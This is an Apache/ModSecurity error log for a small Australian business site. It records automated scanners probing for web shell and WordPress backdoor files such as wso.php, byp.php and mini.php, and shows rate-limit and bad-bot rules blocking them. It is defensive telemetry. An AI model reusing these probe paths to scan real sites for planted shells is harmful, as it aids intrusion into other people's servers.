[Mon Apr 27 04:53:40.672900 2026] [:error] [pid 22751:tid 22761] [client 172.212.183.249:62655] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtz.php"] [unique_id "ae57VCc0tCpVyVdFok-BhAAAAMc"]
[Mon Apr 27 04:53:47.062069 2026] [:error] [pid 22647:tid 22732] [client 172.212.183.249:62607] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtz.php"] [unique_id "ae57W2jfVULTjnk5SzN8XwAAAJY"]
[Mon Apr 27 04:53:48.420671 2026] [:error] [pid 22647:tid 22718] [client 172.212.183.249:62615] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtz.php"] [unique_id "ae57XGjfVULTjnk5SzN8YQAAAIg"]
[Mon Apr 27 04:53:51.970124 2026] [:error] [pid 22647:tid 22721] [client 172.212.183.249:57936] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtz.php"] [unique_id "ae57X2jfVULTjnk5SzN8awAAAIs"]
[Mon Apr 27 04:53:55.456104 2026] [:error] [pid 22646:tid 22695] [client 172.212.183.249:62631] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/galex.php"] [unique_id "ae57Y4k_HyZhTP6AYad0cAAAAEw"]
[Mon Apr 27 04:53:59.191590 2026] [:error] [pid 22751:tid 22769] [client 172.212.183.249:61706] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/galex.php"] [unique_id "ae57Zyc0tCpVyVdFok-BsgAAAM8"]
[Mon Apr 27 04:54:00.746886 2026] [:error] [pid 22751:tid 22776] [client 172.212.183.249:62625] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/galex.php"] [unique_id "ae57aCc0tCpVyVdFok-BvgAAANY"]
[Mon Apr 27 04:54:03.108718 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:62637] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/galex.php"] [unique_id "ae57ayc0tCpVyVdFok-BxgAAAMg"]
[Mon Apr 27 04:54:04.681400 2026] [:error] [pid 22647:tid 22710] [client 172.212.183.249:61647] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xb.php"] [unique_id "ae57bGjfVULTjnk5SzN8fAAAAIA"]
[Mon Apr 27 04:54:06.130550 2026] [:error] [pid 22645:tid 22664] [client 172.212.183.249:62614] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xb.php"] [unique_id "ae57bn-Pq2r302zQbMaQ3QAAAAk"]
[Mon Apr 27 04:54:07.516249 2026] [:error] [pid 22647:tid 22716] [client 172.212.183.249:62587] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xb.php"] [unique_id "ae57b2jfVULTjnk5SzN8gQAAAIY"]
[Mon Apr 27 04:54:08.526158 2026] [:error] [pid 22646:tid 22705] [client 172.212.183.249:62530] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xb.php"] [unique_id "ae57cIk_HyZhTP6AYad0gAAAAFY"]
[Mon Apr 27 04:54:09.680117 2026] [:error] [pid 22645:tid 22677] [client 172.212.183.249:61212] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ova.php"] [unique_id "ae57cX-Pq2r302zQbMaQ4gAAABY"]
[Mon Apr 27 04:54:11.574498 2026] [:error] [pid 22645:tid 22660] [client 172.212.183.249:61719] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ova.php"] [unique_id "ae57c3-Pq2r302zQbMaQ4wAAAAU"]
[Mon Apr 27 04:54:13.459622 2026] [:error] [pid 22751:tid 22765] [client 172.212.183.249:61714] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ova.php"] [unique_id "ae57dSc0tCpVyVdFok-B_gAAAMs"]
[Mon Apr 27 04:54:14.449154 2026] [:error] [pid 22647:tid 22734] [client 172.212.183.249:61696] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ova.php"] [unique_id "ae57dmjfVULTjnk5SzN8jgAAAJg"]
[Mon Apr 27 04:54:15.571697 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:62583] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "ae57dyc0tCpVyVdFok-CCgAAAMg"]
[Mon Apr 27 04:54:16.926474 2026] [:error] [pid 22646:tid 22689] [client 172.212.183.249:61707] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "ae57eIk_HyZhTP6AYad0hQAAAEY"]
[Mon Apr 27 04:54:18.086519 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:61700] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "ae57eic0tCpVyVdFok-CFwAAANU"]
[Mon Apr 27 04:54:19.538176 2026] [:error] [pid 22751:tid 22778] [client 172.212.183.249:61650] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "ae57eyc0tCpVyVdFok-CHgAAANg"]
[Mon Apr 27 04:54:20.340229 2026] [:error] [pid 22751:tid 22755] [client 172.212.183.249:62539] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "ae57fCc0tCpVyVdFok-CIwAAAMI"]
[Mon Apr 27 04:54:21.056041 2026] [:error] [pid 22751:tid 22765] [client 172.212.183.249:62582] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "ae57fSc0tCpVyVdFok-CKAAAAMs"]
[Mon Apr 27 04:54:21.632374 2026] [:error] [pid 22647:tid 22728] [client 172.212.183.249:62533] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "ae57fWjfVULTjnk5SzN8lQAAAJI"]
[Mon Apr 27 04:54:22.534156 2026] [:error] [pid 22646:tid 22705] [client 172.212.183.249:61232] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "ae57fok_HyZhTP6AYad0iQAAAFY"]
[Mon Apr 27 04:54:23.726399 2026] [:error] [pid 22751:tid 22764] [client 172.212.183.249:62558] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins.php"] [unique_id "ae57fyc0tCpVyVdFok-CMAAAAMo"]
[Mon Apr 27 04:54:25.119668 2026] [:error] [pid 22646:tid 22696] [client 172.212.183.249:62534] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins.php"] [unique_id "ae57gYk_HyZhTP6AYad0kQAAAE0"]
[Mon Apr 27 04:54:27.449691 2026] [:error] [pid 22751:tid 22766] [client 172.212.183.249:61665] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins.php"] [unique_id "ae57gyc0tCpVyVdFok-CRQAAAMw"]
[Mon Apr 27 04:54:29.247163 2026] [:error] [pid 22647:tid 22720] [client 172.212.183.249:61705] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins.php"] [unique_id "ae57hWjfVULTjnk5SzN8owAAAIo"]
[Mon Apr 27 04:54:30.305126 2026] [:error] [pid 22751:tid 22758] [client 172.212.183.249:62578] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/users.php"] [unique_id "ae57hic0tCpVyVdFok-CSAAAAMQ"]
[Mon Apr 27 04:54:31.610894 2026] [:error] [pid 22646:tid 22692] [client 172.212.183.249:61737] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/users.php"] [unique_id "ae57h4k_HyZhTP6AYad0mQAAAEk"]
[Mon Apr 27 04:54:33.611627 2026] [:error] [pid 22645:tid 22674] [client 172.212.183.249:61740] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/users.php"] [unique_id "ae57iX-Pq2r302zQbMaQ8AAAABM"]
[Mon Apr 27 04:54:35.602589 2026] [:error] [pid 22647:tid 22720] [client 172.212.183.249:62608] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/users.php"] [unique_id "ae57i2jfVULTjnk5SzN8rQAAAIo"]
[Mon Apr 27 04:54:37.267941 2026] [:error] [pid 22751:tid 22771] [client 172.212.183.249:62549] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "ae57jSc0tCpVyVdFok-CbgAAANE"]
[Mon Apr 27 04:54:39.694263 2026] [:error] [pid 22646:tid 22703] [client 172.212.183.249:61689] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "ae57j4k_HyZhTP6AYad0pwAAAFQ"]
[Mon Apr 27 04:54:42.169660 2026] [:error] [pid 22647:tid 22734] [client 172.212.183.249:61676] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon Apr 27 04:54:42.369962 2026] [:error] [pid 22647:tid 22720] [client 172.212.183.249:61676] File does not exist: /usr/local/apache/htdocs/suspended-page/profile.php
[Mon Apr 27 04:54:43.408869 2026] [:error] [pid 22647:tid 22714] [client 172.212.183.249:61676] File does not exist: /usr/local/apache/htdocs/suspended-page/menu.php
[Mon Apr 27 04:54:43.608287 2026] [:error] [pid 22647:tid 22723] [client 172.212.183.249:61676] File does not exist: /usr/local/apache/htdocs/suspended-page/sites.php
[Mon Apr 27 04:54:43.804673 2026] [:error] [pid 22647:tid 22726] [client 172.212.183.249:61676] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Mon Apr 27 04:54:43.995165 2026] [:error] [pid 22647:tid 22732] [client 172.212.183.249:61676] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Mon Apr 27 04:54:44.186398 2026] [:error] [pid 22647:tid 22712] [client 172.212.183.249:61676] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Mon Apr 27 07:28:29.743282 2026] [:error] [pid 36489:tid 36530] [client 20.255.80.192:1358] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Mon Apr 27 07:28:30.914304 2026] [:error] [pid 36489:tid 36521] [client 20.255.80.192:1358] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-2019.php
[Mon Apr 27 07:28:32.689322 2026] [:error] [pid 36489:tid 36524] [client 20.255.80.192:1358] File does not exist: /usr/local/apache/htdocs/suspended-page/0.php
[Mon Apr 27 07:28:32.809917 2026] [:error] [pid 36489:tid 36536] [client 20.255.80.192:1358] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Mon Apr 27 07:28:32.931661 2026] [:error] [pid 36489:tid 36534] [client 20.255.80.192:1358] File does not exist: /usr/local/apache/htdocs/suspended-page/12.php
[Mon Apr 27 07:28:33.069055 2026] [:error] [pid 36489:tid 36545] [client 20.255.80.192:1358] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/120f9.php"] [unique_id "ae6foY6sRkW8OfGv18q1fQAAAFg"]
[Mon Apr 27 07:28:33.549729 2026] [:error] [pid 36488:tid 36494] [client 20.255.80.192:1601] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/120f9.php"] [unique_id "ae6focIA2VZgjxmwXxP4YwAAAAI"]
[Mon Apr 27 07:28:34.100476 2026] [:error] [pid 36490:tid 36572] [client 20.255.80.192:1623] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/120f9.php"] [unique_id "ae6fokxiWa1s9LPhuWKzkAAAAJg"]
[Mon Apr 27 07:28:34.608115 2026] [:error] [pid 36489:tid 36540] [client 20.255.80.192:1640] [client 20.255.80.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/120f9.php"] [unique_id "ae6foo6sRkW8OfGv18q1fwAAAFM"]
[Mon Apr 27 12:21:25.106648 2026] [:error] [pid 62607:tid 62633] [client 108.68.147.51:6921] [client 108.68.147.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ae7kRYXk80_zcPo33vd-qQAAAFg"]
[Mon Apr 27 13:51:52.890756 2026] [:error] [pid 62607:tid 62628] [client 34.55.86.97:62970] [client 34.55.86.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/system/js/core.js"] [unique_id "ae75eIXk80_zcPo33vevkgAAAFM"]
[Tue Apr 28 03:51:57.073330 2026] [:error] [pid 12018:tid 12040] [client 177.73.83.36:53684] [client 177.73.83.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.73.83.36, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ae--XX0iD5gK_pqRuGYV5gAAAAM"]
[Tue Apr 28 03:51:57.078261 2026] [:error] [pid 12018:tid 12040] [client 177.73.83.36:53684] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Tue Apr 28 04:56:02.757369 2026] [:error] [pid 14578:tid 14627] [client 172.213.8.172:2051] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Tue Apr 28 04:56:02.996176 2026] [:error] [pid 14578:tid 14630] [client 172.213.8.172:2051] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Tue Apr 28 04:56:03.531428 2026] [:error] [pid 14578:tid 14637] [client 172.213.8.172:2051] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Tue Apr 28 04:56:03.768506 2026] [:error] [pid 14578:tid 14621] [client 172.213.8.172:2051] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Tue Apr 28 04:56:04.284980 2026] [:error] [pid 14578:tid 14626] [client 172.213.8.172:2051] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Tue Apr 28 04:56:04.524968 2026] [:error] [pid 14578:tid 14618] [client 172.213.8.172:2051] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Tue Apr 28 04:56:04.760706 2026] [:error] [pid 14578:tid 14620] [client 172.213.8.172:2051] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Tue Apr 28 04:56:05.543373 2026] [:error] [pid 14578:tid 14624] [client 172.213.8.172:2051] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ae_NZengo3AwIJgfSHHxjwAAAEs"]
[Tue Apr 28 04:56:06.610982 2026] [:error] [pid 14579:tid 14655] [client 172.213.8.172:20722] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ae_NZhrUiOG83qKKuuDfHwAAAI8"]
[Tue Apr 28 04:56:07.771250 2026] [:error] [pid 14578:tid 14631] [client 172.213.8.172:19956] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ae_NZ-ngo3AwIJgfSHHxsAAAAFI"]
[Tue Apr 28 04:56:09.078798 2026] [:error] [pid 14578:tid 14630] [client 172.213.8.172:21318] [client 172.213.8.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ae_Naengo3AwIJgfSHHxwAAAAFE"]
[Tue Apr 28 05:33:34.938271 2026] [:error] [pid 14686:tid 14693] [client 4.193.121.6:12838] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Tue Apr 28 05:33:35.120078 2026] [:error] [pid 14686:tid 14701] [client 4.193.121.6:12838] [client 4.193.121.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.193.121.6, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "ae_WL--YPF1Xm7uiWQ4l-wAAAMw"]
[Tue Apr 28 05:33:35.214323 2026] [:error] [pid 14686:tid 14712] [client 4.193.121.6:12838] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-corn-sample.php
[Tue Apr 28 05:33:35.604146 2026] [:error] [pid 14686:tid 14691] [client 4.193.121.6:12838] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Tue Apr 28 05:33:35.878976 2026] [:error] [pid 14686:tid 14698] [client 4.193.121.6:12838] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Tue Apr 28 05:33:35.967436 2026] [:error] [pid 14686:tid 14713] [client 4.193.121.6:12838] [client 4.193.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae_WL--YPF1Xm7uiWQ4mBgAAANg"]
[Tue Apr 28 05:33:36.322943 2026] [:error] [pid 14686:tid 14702] [client 4.193.121.6:4011] [client 4.193.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "ae_WMO-YPF1Xm7uiWQ4mCAAAAM0"]
